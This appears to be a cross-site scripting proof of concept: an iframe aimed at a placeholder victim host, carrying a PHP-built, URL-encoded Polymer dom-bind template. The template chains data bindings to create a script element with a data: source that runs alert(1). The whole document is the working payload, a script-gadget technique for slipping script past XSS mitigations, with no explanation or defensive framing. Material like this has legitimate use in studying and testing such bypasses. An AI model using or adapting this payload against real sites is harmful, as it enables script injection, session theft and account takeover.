<iframe src="https://victim.example.com/repo/filters/edge/polymer.php?inj=<?php 
$payload = <<<PAYLOAD
<template is=dom-bind><div
 five={{insert(me._nodes.0.scriptprop)}}
 four="{{set('insert',me.root.ownerDocument.body.appendChild)}}" 
 three="{{set('me',nextSibling.previousSibling)}}"
 two={{set('_nodes.0.scriptprop.src','data:\,alert(1)')}}
 scriptprop={{_factory()}}
 one={{set('_factoryArgs.0','script')}} >
</template>
<script>script_dynamic_tester;</script>
PAYLOAD;
echo urlencode($payload);
?>"></iframe>
